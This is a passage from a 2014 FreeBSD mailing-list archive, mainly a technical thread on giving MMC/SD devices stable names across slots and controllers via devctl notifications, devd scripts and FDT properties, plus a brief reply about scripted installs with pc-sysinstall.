2014, at 11:55 AM, Patrick Kelsey wrote: >>>=20 >>>>=20 >>>>=20 >>>>=20 >>>> On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: >>>>=20 >>>> On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: >>>>=20 >>>>>=20 >>>>>=20 >>>>>=20 >>>>> On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: >>>>>=20 >>>>> There's a standard property for mmc/sd devices, "non-removable" whose >>>>> presence denotes things like soldered-on eMMC parts. Only one of our >>>>> many sdhci drivers supports it right now (imx). In general the core >>>>> part of the driver (dev/sdhci) doesn't have good support for >>>>> insert/remove/presence detection that's handled off to the side (wheth= er >>>>> it's non-removable or a gpio pin). >>>>>=20 >>>>> That alone doesn't solve the wider problem, though, which I think brea= ks >>>>> down into two pieces. Let's say you've got two slots, call them left >>>>> and right. You end up with these two problems... >>>>>=20 >>>>> * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if= >>>>> there's a card in the left slot when I boot; I don't want it to= >>>>> change. >>>>>=20 >>>>> And not just a boot-time issue, of course. If you were to remove thos= e two cards and then reinsert them in the opposite time-order, their device n= ames would swap. >>>>>=20 >>>>> * I want the slot on the left to be named '1' and the right to be= >>>>> '0'. >>>>>=20 >>>>> The first problem is easily solved without impacting dts in any way. W= e >>>>> just wire down the relationship controllerN -> mmcN -> mmcsdN. This i= s >>>>> exactly equivelent to the old ATA_STATIC_ID option in its effect -- yo= u >>>>> don't get to choose the names, but you know they won't change based on= >>>>> which devices are present. It could be controlled with a tunable. >>>>>=20 >>>>> It's harder to envision the fix for the second part without adding an >>>>> ad-hoc property for the devices. Even with a property I'm not sure ho= w >>>>> easy it would be. >>>>>=20 >>>>> We should be able to assign a geographic address (controllerX:slotY) t= o each mmcsd device in a given system (let's ignore for now the theoretical p= ossibility of multiple cards on one bus). The 'controllerX' part of the add= ress could be the controller's pathname from the devicetree, or an index ass= igned by mmcbr machinery at attach time. The "slotY" part of the address is= assigned by the specific controller device driver using some internally-det= ermined fixed mapping between the assigned values and its physical slots. T= his geographic address could be used to create an additional set of /dev ent= ries with stable names. There could be a mechanism for user-configurable al= iases for the geographical addresses. >>>>=20 >>>> There=E2=80=99s already a chance to run a script when a device is attac= hed that can create /dev/slot0 or /dev/slot1 that has geographical informati= on available to it. People use ddvd for this in the USB world all the time t= o make sure that tty devices get a symlink based on their location or serial= number. >>>>=20 >>>> Why is mmc so different it needs its own mechanism? >>>>=20 >>>> I'm laying out my view of the information that would be needed and the t= ypes of actions that would have to be taken based on that information to sol= ve the issue. I'm not saying devd can't be the piece that is used to implem= ent the actions (indeed, I noted devd as a potential building block for a so= lution in my initial response). I'm also not saying mmc needs its own mecha= nism, I'm saying it needs /a/ mechanism, and so far there still seems to be s= omething missing (because it's not there, or I'm still ignorant of it). >>>>=20 >>>> What seems to be missing is geographical addressing for mmc devices. >>>>=20 >>>> I think what you might be saying is that the existing mmcsd add/remove c= ode could be augmented to send devctl notifications, along the lines of: >>>>=20 >>>> devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... controller=3D slot=3D rca= =3D") >>>>=20 >>>> and then I and the fine author of devctl and devd would be pleased. >>>=20 >>> MMC doesn=E2=80=99t need anything special here. That=E2=80=99s already p= resent. Looking at the device tree we see on one of the platforms that=E2=80= =99s handy for me to access: >>>=20 >>> at91_mci0 >>> mmc0 >>> mmcsd0 at rca=3D0xb368 >>>=20 >>> So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which is u= ltimately the FDT node where things came from. There=E2=80=99s not a user-de= fined slot associated with this (and we should have a SLOT A vs SLOT B as a l= ocation info for this platform, because we can have two cards on the one bus= in the MMC case), true, but for your use case I don=E2=80=99t think that yo= u need it. We should be attaching the host controller regardless of whether t= he or not there=E2=80=99s a card in there, so it will be fixed. While some a= dditional information would be useful to publish, I don=E2=80=99t think your= use case requires it=E2=80=A6 >>>=20 >>>=20 >>> The reason you need something extra here is that what is there now break= s down whenever you don't have a one-to-one mapping between controllers and b= uses. Any controller with more than one slot can yield something of the for= m: >>>=20 >>> sdhci0 >>> mmc0 >>> mmcsd0 at rca=3D0xabcd >>> mmc1 >>> mmcsd1 at rca=3D0x1234 >>>=20 >>> and you have no idea what physical slot in the system mmcsd0 and mmcsd1 a= re in. >>=20 >> The driver isn=E2=80=99t going to be able to help you, because it reports= mmc0 based on the data it gets from slot 0 status registers, and mmc1 based= on slot 1 status registers. Since there=E2=80=99s no notion of how that map= s to physical hardware, the driver can=E2=80=99t do anything automatically. A= nd since mmc on down is populated by FreeSBD, there=E2=80=99s no hints in th= e FDT tree for them. >>=20 >>=20 >>> For my immediate use case, sure, I can rely on the one-to-one relationsh= ip between controllers and buses. At this point, though, rather than skate b= y on that happy coincidence, I'd rather invest what now seems to be a rather= small amount of effort adding mmcsd devctl notifications that would cover t= he multiple-slots-per-controller case as well, and then build the rest of wh= at I want on top of that information coming out of ddvd. >>=20 >> Trouble is, how do we know what to send with this new notification. That=E2= =80=99s the part I=E2=80=99m having trouble with. Where does that data come f= rom? And how is it different than what=E2=80=99s in the device tree? >>=20 >>=20 >> Each controller driver maintains an instance of struct mmc_host for each p= hysical bus interface (typically referred to as a 'slot' in the drivers) it= has. When a card is detected in a given slot by the driver, the driver cre= ates an mmc bus instance and attaches the struct mmc_host corresponding to t= hat slot to provide the ivar values. So let's say struct mmc_host gets a ne= w member 'slot_number', and a new ivar MMC_IVAR_SLOT_NUMBER is defined. The= slot number in each instance of struct mmc_host a driver maintains gets set= to a controller-relative index of the corresponding physical interface - th= e controller will do this the same way every time, because it is tied to the= register layout of the controller. >>=20 >> After the mmc bus instance is created and its ivars are set, probe-and-at= tach is run on that bus, and an mmcsd device instance is created for each ca= rd that is found. At the point where the mmcsd device instance is created, o= ne knows the parent bus for that new mmcsd device, and thus one can get the v= alue of MMC_IVAR_SLOT_NUMBER for that bus, as well as the name of the contro= ller device instance that is the parent of the parent bus. It thus possible= at that point to=20 >>=20 >> devctl_notify("MMC", "DEVICE", "ATTACH", "... controller=3D slot=3D ") >>=20 >> Because the controller attachment order is the same on every boot, as is t= he slot number ivar for a given bus interface on each controller hardware in= stance, an identical attach message will be generated every time a card is d= iscovered in that physical location in the system. For a given system, ther= e will thus be a fixed mapping between {controller_instance,slot} tuples tha= t appear in these messages and the physical MMC/SD device locations. >=20 > I=E2=80=99m curious how that=E2=80=99s materially different than the paren= t=E2=80=99s mmc instance number. That too is invariant between boots. There=E2= =80=99s a 1:1 - onto mapping between this instance number and any controller= /slot tuple that would be created. >=20 Controller instance (unit) numbers are the same across boots. The mmc insta= nce (unit) number for the mmc instance created for a given bus interface on a= given controller is not, because the instance is created dynamically in res= ponse to card detection and thus depends on the ordering of card insertions.= Sure, there's a one-to-one and onto mapping at any given moment between mm= c instance numbers and the tuples I'm talking about, but the mapping is subj= ect to change with card insertions and removals. The material difference be= tween the two sets of labels is that a given tuple value will *always* refer= to the same physical device location in the system, whereas a given mmc uni= t number could refer to any physical device location in the system depending= on the time order of insertions in the various card slots. > Also, there doesn=E2=80=99t need to be a special MMC message for this. If w= e do create the notion of a slot number per controller, that would be part o= f the location information that is in the location string for the normal att= ach message Ah, so I can just append more variable definitions to the location string, w= hich is already fed through to the existing generic devctl notification? Wo= rks for me. >> In the above, I've left out the value of rca from the discussion because u= pon further reflection, it cannot be stably tied to a physical location. If= there is a multidrop MMC bus in a system, the physical card locations on th= at bus will not be able to be referred to with stable names. This is the on= e area where a new property in the FDT could be useful to convey multidrop-o= r-not for each bus interface on a controller. The new property could be 'fr= eebsd,max-devices' and would be an array of cells that indicates the maximum= number of MMC/SD devices that can be connected to the controller bus interf= ace corresponding to that cell index. The devctl notification could then in= clude a multidrop indicator in the message. >=20 > rca is more of a serial number than a location number. Useful for other re= asons. >=20 > I=E2=80=99m not sure how =E2=80=98freebsd,max-devices=E2=80=99 would solve= the problem. The controller already knows that. If we really want to tie th= ings to a physical location/ description, I=E2=80=99d opt for something more= like =E2=80=98freebsd,slot-names =3D =E2=80=9CSlot 0=E2=80=9D, =E2=80=9CSlo= t 1=E2=80=9D;=E2=80=99 type of thing, where you could just as easily have =E2= =80=9CTop Card=E2=80=9D =E2=80=9Cbottom card=E2=80=9D or =E2=80=9Cboot card=E2= =80=9D and =E2=80=9Ccustomer card=E2=80=9D if you wanted. Then the controlle= r could query this property to get the names to populate somewhere in the PN= P info for this device. The mmcsd driver would then be free to also create a= /dev/Blah alias as well for the disk, but I don=E2=80=99t know if that woul= d cause aliases to get created for all the geom children or not... >=20 freebsd,max-devices is not already known by the controller. The controller k= nows how many bus interfaces it has, but it doesn't know how many devices ca= n be attached to that bus, as that depends on the board design. freebsd,max= -devices informs us whether the board design is multidrop or not for each bu= s interface on each controller. Passing through a multidrop indication in t= he devctl notification informs the devctl consumer as to whether or not a un= ique stable name can be assigned to the mmcsd instance based on the tuple (i= f multidrop, then no). Not essential, but would be thorough. I disagree with 'freebsd,slot-names' because meaningful/descriptive slot nam= es are going to be something that are often defined at the product level, so= I think it's better to just let them be defined via a devd action script. O= therwise we build in an invitation to the experience of having board-level s= lot names and product-level slot names from the same namespace, which is in m= y experience awful. "Oh, wait, does this bug report refer to board-'top slo= t' or front-panel-'top slot'?" In other words, I think it's handy to have u= p until the board goes into an enclosure, then it could be trouble from then= on. Plus it could also encourage further knee-jerk, inappropriate .dts pat= ching of the sort I started out with here :) "Why make a devd script when I c= an just edit the names in the .dts file?" Agreed geom children are an open question. -Patrick= From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 03:51:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A629ED3C for ; Thu, 6 Mar 2014 03:51:38 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 564D5763 for ; Thu, 6 Mar 2014 03:51:38 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s263pa06050559 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Wed, 5 Mar 2014 20:51:37 -0700 (MST) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s263paIU050556; Wed, 5 Mar 2014 20:51:36 -0700 (MST) (envelope-from wblock@wonkity.com) Date: Wed, 5 Mar 2014 20:51:36 -0700 (MST) From: Warren Block To: "Littlefield, Tyler" Subject: Re: getting involved and contributing In-Reply-To: <53176FB4.1080908@tysdomain.com> Message-ID: References: <53176FB4.1080908@tysdomain.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Wed, 05 Mar 2014 20:51:37 -0700 (MST) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 03:51:38 -0000 On Wed, 5 Mar 2014, Littlefield, Tyler wrote: > Hello all: > I had a fewe questions I wanted to ask. > I'm looking for areas in which I might contribute code (c/c++, Python etc). > As I'm new to the code contribution deal, I'd like to start off with > something small if possible. My interests are mainly in security and systems > development, though I'm probably not all that great at either. Similarly, I > had a few questions: > 1) what is a free or cheap method for testing code, branches etc? I have two > systems here, but I am unable to duel boot. > 2) I could use VMWare for testing, but that limits my ability to do much > testing. Given that though, is there a way to automate the install of BSD? > Basically: I am blind and am unable to install BSD by myself without help. > Solutions exist for serial ports, but I've not really had much great luck > connecting to that through a host. If there's a solution for a scripted > install, that would be awesome. pc-sysinstall(8) can do a scripted install. There are some examples in /usr/share/examples/pc-sysinstall. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 03:53:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 83C6DE20 for ; Thu, 6 Mar 2014 03:53:02 +0000 (UTC) Received: from mail-pb0-f45.google.com (mail-pb0-f45.google.com [209.85.160.45]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 46C4E76E for ; Thu, 6 Mar 2014 03:53:01 +0000 (UTC) Received: by mail-pb0-f45.google.com with SMTP id uo5so2018240pbc.4 for ; Wed, 05 Mar 2014 19:53:01 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=tiIANlcRjuRuB95hHe5CQhbKfLDg1t4mKn9lwSaGQKU=; b=NUyos5xrS8oeUUMheKYI9LzhijR46sTmQgOREijQq8VAFnrMp7gIA7Y+WaBy5Gy1bp 6Oz0+25KhB3Nd6dzLJmAwt1goJmh6oiMd1Y1cuEKYbDEyGid1Pqj4ALj/8dXig+i6qhd gGN/ZiNybWyOoNWsgWj0Vo/n9aX7QbrdPPIvqV+GFsqr3f/4wimIJiMhL0ms9HJzaIoD kFOoSKqw4iMIRcHTZTrIKpPEhji2usYFwYw3SBUpX4ixJ+71vzWallq1NwdnRi/ZQKTv bsZDQnBIrNcy5EYVQHGou//yYDw209NrOdtTNh/ZI+QTy3oJuapOGbwdQ72TJjVwNlBH +5/w== X-Gm-Message-State: ALoCoQnzhHs/xsRpMwGS4BB6pqAcxKQuGzAwJ8I5Td7qnO2IZGIU0tYcw+qqlaLo6U0Q9wt5xTD0 X-Received: by 10.66.141.165 with SMTP id rp5mr11713909pab.90.1394077981033; Wed, 05 Mar 2014 19:53:01 -0800 (PST) Received: from lglt-rottaway.corp.netflix.com (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id yo9sm27484830pab.16.2014.03.05.19.52.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 19:53:00 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: <9CEFA586-0319-4390-AC9A-B54EE77AD735@ieee.org> Date: Wed, 5 Mar 2014 20:52:57 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <7F5BD549-6A25-48F5-989A-F2D43C241CFF@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> <899B9ABD-0ACC-49F2-9520-CCE837D39875@bsdimp.com> <9CEFA586-0319-4390-AC9A-B54EE77AD735@ieee.org> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , "freebsd-embedded@freebsd.org" , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 03:53:02 -0000 On Mar 5, 2014, at 7:48 PM, Patrick Kelsey wrote: >=20 >=20 > On Mar 5, 2014, at 8:02 PM, Warner Losh wrote: >=20 >>=20 >> On Mar 5, 2014, at 5:53 PM, Patrick Kelsey wrote: >>=20 >>>=20 >>>=20 >>>=20 >>> On Wed, Mar 5, 2014 at 5:44 PM, Warner Losh wrote: >>>=20 >>> On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: >>>=20 >>>>=20 >>>>=20 >>>>=20 >>>> On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: >>>>=20 >>>> On Mar 5, 2014, at 11:55 AM, Patrick Kelsey = wrote: >>>>=20 >>>>>=20 >>>>>=20 >>>>>=20 >>>>> On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh = wrote: >>>>>=20 >>>>> On Mar 4, 2014, at 11:53 PM, Patrick Kelsey = wrote: >>>>>=20 >>>>>>=20 >>>>>>=20 >>>>>>=20 >>>>>> On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore = wrote: >>>>>>=20 >>>>>> There's a standard property for mmc/sd devices, "non-removable" = whose >>>>>> presence denotes things like soldered-on eMMC parts. Only one of = our >>>>>> many sdhci drivers supports it right now (imx). In general the = core >>>>>> part of the driver (dev/sdhci) doesn't have good support for >>>>>> insert/remove/presence detection that's handled off to the side = (whether >>>>>> it's non-removable or a gpio pin). >>>>>>=20 >>>>>> That alone doesn't solve the wider problem, though, which I think = breaks >>>>>> down into two pieces. Let's say you've got two slots, call them = left >>>>>> and right. You end up with these two problems... >>>>>>=20 >>>>>> * Sometimes the right slot is mmcsd0, but it turns into = mmcsd1 if >>>>>> there's a card in the left slot when I boot; I don't want = it to >>>>>> change. >>>>>>=20 >>>>>> And not just a boot-time issue, of course. If you were to remove = those two cards and then reinsert them in the opposite time-order, their = device names would swap. >>>>>>=20 >>>>>> * I want the slot on the left to be named '1' and the right = to be >>>>>> '0'. >>>>>>=20 >>>>>> The first problem is easily solved without impacting dts in any = way. We >>>>>> just wire down the relationship controllerN -> mmcN -> mmcsdN. = This is >>>>>> exactly equivelent to the old ATA_STATIC_ID option in its effect = -- you >>>>>> don't get to choose the names, but you know they won't change = based on >>>>>> which devices are present. It could be controlled with a = tunable. >>>>>>=20 >>>>>> It's harder to envision the fix for the second part without = adding an >>>>>> ad-hoc property for the devices. Even with a property I'm not = sure how >>>>>> easy it would be. >>>>>>=20 >>>>>> We should be able to assign a geographic address = (controllerX:slotY) to each mmcsd device in a given system (let's ignore = for now the theoretical possibility of multiple cards on one bus). The = 'controllerX' part of the address could be the controller's pathname = from the devicetree, or an index assigned by mmcbr machinery at attach = time. The "slotY" part of the address is assigned by the specific = controller device driver using some internally-determined fixed mapping = between the assigned values and its physical slots. This geographic = address could be used to create an additional set of /dev entries with = stable names. There could be a mechanism for user-configurable aliases = for the geographical addresses. >>>>>=20 >>>>> There=92s already a chance to run a script when a device is = attached that can create /dev/slot0 or /dev/slot1 that has geographical = information available to it. People use ddvd for this in the USB world = all the time to make sure that tty devices get a symlink based on their = location or serial number. >>>>>=20 >>>>> Why is mmc so different it needs its own mechanism? >>>>>=20 >>>>> I'm laying out my view of the information that would be needed and = the types of actions that would have to be taken based on that = information to solve the issue. I'm not saying devd can't be the piece = that is used to implement the actions (indeed, I noted devd as a = potential building block for a solution in my initial response). I'm = also not saying mmc needs its own mechanism, I'm saying it needs /a/ = mechanism, and so far there still seems to be something missing (because = it's not there, or I'm still ignorant of it). >>>>>=20 >>>>> What seems to be missing is geographical addressing for mmc = devices. >>>>>=20 >>>>> I think what you might be saying is that the existing mmcsd = add/remove code could be augmented to send devctl notifications, along = the lines of: >>>>>=20 >>>>> devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... = controller=3D = slot=3D rca=3D") >>>>>=20 >>>>> and then I and the fine author of devctl and devd would be = pleased. >>>>=20 >>>> MMC doesn=92t need anything special here. That=92s already present. = Looking at the device tree we see on one of the platforms that=92s handy = for me to access: >>>>=20 >>>> at91_mci0 >>>> mmc0 >>>> mmcsd0 at rca=3D0xb368 >>>>=20 >>>> So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which = is ultimately the FDT node where things came from. There=92s not a = user-defined slot associated with this (and we should have a SLOT A vs = SLOT B as a location info for this platform, because we can have two = cards on the one bus in the MMC case), true, but for your use case I = don=92t think that you need it. We should be attaching the host = controller regardless of whether the or not there=92s a card in there, = so it will be fixed. While some additional information would be useful = to publish, I don=92t think your use case requires it=85 >>>>=20 >>>>=20 >>>> The reason you need something extra here is that what is there now = breaks down whenever you don't have a one-to-one mapping between = controllers and buses. Any controller with more than one slot can yield = something of the form: >>>>=20 >>>> sdhci0 >>>> mmc0 >>>> mmcsd0 at rca=3D0xabcd >>>> mmc1 >>>> mmcsd1 at rca=3D0x1234 >>>>=20 >>>> and you have no idea what physical slot in the system mmcsd0 and = mmcsd1 are in. >>>=20 >>> The driver isn=92t going to be able to help you, because it reports = mmc0 based on the data it gets from slot 0 status registers, and mmc1 = based on slot 1 status registers. Since there=92s no notion of how that = maps to physical hardware, the driver can=92t do anything automatically. = And since mmc on down is populated by FreeSBD, there=92s no hints in the = FDT tree for them. >>>=20 >>>=20 >>>> For my immediate use case, sure, I can rely on the one-to-one = relationship between controllers and buses. At this point, though, = rather than skate by on that happy coincidence, I'd rather invest what = now seems to be a rather small amount of effort adding mmcsd devctl = notifications that would cover the multiple-slots-per-controller case as = well, and then build the rest of what I want on top of that information = coming out of ddvd. >>>=20 >>> Trouble is, how do we know what to send with this new notification. = That=92s the part I=92m having trouble with. Where does that data come = from? And how is it different than what=92s in the device tree? >>>=20 >>>=20 >>> Each controller driver maintains an instance of struct mmc_host for = each physical bus interface (typically referred to as a 'slot' in the = drivers) it has. When a card is detected in a given slot by the driver, = the driver creates an mmc bus instance and attaches the struct mmc_host = corresponding to that slot to provide the ivar values. So let's say = struct mmc_host gets a new member 'slot_number', and a new ivar = MMC_IVAR_SLOT_NUMBER is defined. The slot number in each instance of = struct mmc_host a driver maintains gets set to a controller-relative = index of the corresponding physical interface - the controller will do = this the same way every time, because it is tied to the register layout = of the controller. >>>=20 >>> After the mmc bus instance is created and its ivars are set, = probe-and-attach is run on that bus, and an mmcsd device instance is = created for each card that is found. At the point where the mmcsd = device instance is created, one knows the parent bus for that new mmcsd = device, and thus one can get the value of MMC_IVAR_SLOT_NUMBER for that = bus, as well as the name of the controller device instance that is the = parent of the parent bus. It thus possible at that point to=20 >>>=20 >>> devctl_notify("MMC", "DEVICE", "ATTACH", "... = controller=3D = slot=3D ") >>>=20 >>> Because the controller attachment order is the same on every boot, = as is the slot number ivar for a given bus interface on each controller = hardware instance, an identical attach message will be generated every = time a card is discovered in that physical location in the system. For = a given system, there will thus be a fixed mapping between = {controller_instance,slot} tuples that appear in these messages and the = physical MMC/SD device locations. >>=20 >> I=92m curious how that=92s materially different than the parent=92s = mmc instance number. That too is invariant between boots. There=92s a = 1:1 - onto mapping between this instance number and any controller/slot = tuple that would be created. >>=20 >=20 > Controller instance (unit) numbers are the same across boots. The mmc = instance (unit) number for the mmc instance created for a given bus = interface on a given controller is not, because the instance is created = dynamically in response to card detection and thus depends on the = ordering of card insertions. That=92s the problem right there. The should always be the same from = boot to boot. sdhci must be doing things wrong. I=92ll have to take a = look. That=92s the real problem here. That=92s certainly how it is = supposed to be working. We always attach PCI busses to PCI bridges, = regardless of what=92s on the bus. mmc should be the same thing. I=92ll = work up some patches for that. > Sure, there's a one-to-one and onto mapping at any given moment = between mmc instance numbers and the tuples I'm talking about, but the = mapping is subject to change with card insertions and removals. The = material difference between the two sets of labels is that a given tuple = value will *always* refer to the same physical device location in the = system, whereas a given mmc unit number could refer to any physical = device location in the system depending on the time order of insertions = in the various card slots. I understand better now... >> Also, there doesn=92t need to be a special MMC message for this. If = we do create the notion of a slot number per controller, that would be = part of the location information that is in the location string for the = normal attach message >=20 > Ah, so I can just append more variable definitions to the location = string, which is already fed through to the existing generic devctl = notification? Works for me. Sure. >>> In the above, I've left out the value of rca from the discussion = because upon further reflection, it cannot be stably tied to a physical = location. If there is a multidrop MMC bus in a system, the physical card = locations on that bus will not be able to be referred to with stable = names. This is the one area where a new property in the FDT could be = useful to convey multidrop-or-not for each bus interface on a = controller. The new property could be 'freebsd,max-devices' and would = be an array of cells that indicates the maximum number of MMC/SD devices = that can be connected to the controller bus interface corresponding to = that cell index. The devctl notification could then include a multidrop = indicator in the message. >>=20 >> rca is more of a serial number than a location number. Useful for = other reasons. >>=20 >> I=92m not sure how =91freebsd,max-devices=92 would solve the problem. = The controller already knows that. If we really want to tie things to a = physical location/ description, I=92d opt for something more like = =91freebsd,slot-names =3D =93Slot 0=94, =93Slot 1=94;=92 type of thing, = where you could just as easily have =93Top Card=94 =93bottom card=94 or = =93boot card=94 and =93customer card=94 if you wanted. Then the = controller could query this property to get the names to populate = somewhere in the PNP info for this device. The mmcsd driver would then = be free to also create a /dev/Blah alias as well for the disk, but I = don=92t know if that would cause aliases to get created for all the geom = children or not... >>=20 >=20 > freebsd,max-devices is not already known by the controller. The = controller knows how many bus interfaces it has, but it doesn't know how = many devices can be attached to that bus, as that depends on the board = design. freebsd,max-devices informs us whether the board design is = multidrop or not for each bus interface on each controller. Passing = through a multidrop indication in the devctl notification informs the = devctl consumer as to whether or not a unique stable name can be = assigned to the mmcsd instance based on the tuple (if multidrop, then = no). Not essential, but would be thorough. Hmmm, this sure sounds like something that should already be in the FDT = file. I=92ll have to do a survey. > I disagree with 'freebsd,slot-names' because meaningful/descriptive = slot names are going to be something that are often defined at the = product level, so I think it's better to just let them be defined via a = devd action script. Otherwise we build in an invitation to the = experience of having board-level slot names and product-level slot names = from the same namespace, which is in my experience awful. "Oh, wait, = does this bug report refer to board-'top slot' or front-panel-'top = slot'?" In other words, I think it's handy to have up until the board = goes into an enclosure, then it could be trouble from then on. Plus it = could also encourage further knee-jerk, inappropriate .dts patching of = the sort I started out with here :) "Why make a devd script when I can = just edit the names in the .dts file?=94 Good points. > Agreed geom children are an open question. >=20 > -Patrick Warner From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 04:17:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41C433A5; Thu, 6 Mar 2014 04:17:20 +0000 (UTC) Received: from mail-la0-x236.google.com (mail-la0-x236.google.com [IPv6:2a00:1450:4010:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E6EEA8F9; Thu, 6 Mar 2014 04:17:18 +0000 (UTC) Received: by mail-la0-f54.google.com with SMTP id mc6so1344335lab.41 for ; Wed, 05 Mar 2014 20:17:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=hkOQBHNASLYrEFplC3Gb8JbQ3Yi8Za76kbshZSBEO1o=; b=LDdV6LclMQGNvCJ9cKpREOtZlcI2TvowrsPQAzWx6c6KFpiEe/TwqcZPrdfpxJumMe ML0c9IzknHhRk7BDFM7+ARQnNfdbcpF3oNzo/gXHCnqaSusmUJ0mLxhTLE5GyX+XVIie csguAJOK3gmoUvRLqnb6MvDS1gDQWEROZhO6RhclvCbM3IRxoiRcGc7x+V2cYSoIz3DD D9ffMv8ttSSS5Ku+QpwGkA1Eqa7xAKsEFPnnE+iACCvrUy/PsvNDPFIAE7vze+tMwp4T Ugvqf4/Cu5QgIwux+816a6pqI8+9eN5UWX385Tk4s70gCbqid6e/3/hQ/79FWYVgYPmY ZbPg== MIME-Version: 1.0 X-Received: by 10.152.43.47 with SMTP id t15mr29450lal.38.1394079436185; Wed, 05 Mar 2014 20:17:16 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.112.142.5 with HTTP; Wed, 5 Mar 2014 20:17:16 -0800 (PST) In-Reply-To: <7F5BD549-6A25-48F5-989A-F2D43C241CFF@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> <899B9ABD-0ACC-49F2-9520-CCE837D39875@bsdimp.com> <9CEFA586-0319-4390-AC9A-B54EE77AD735@ieee.org> <7F5BD549-6A25-48F5-989A-F2D43C241CFF@bsdimp.com> Date: Wed, 5 Mar 2014 23:17:16 -0500 X-Google-Sender-Auth: gpLx7WI8-H7OzRN9jECszCw8tB0 Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Warner Losh Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , "freebsd-embedded@freebsd.org" , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 04:17:20 -0000 On Wed, 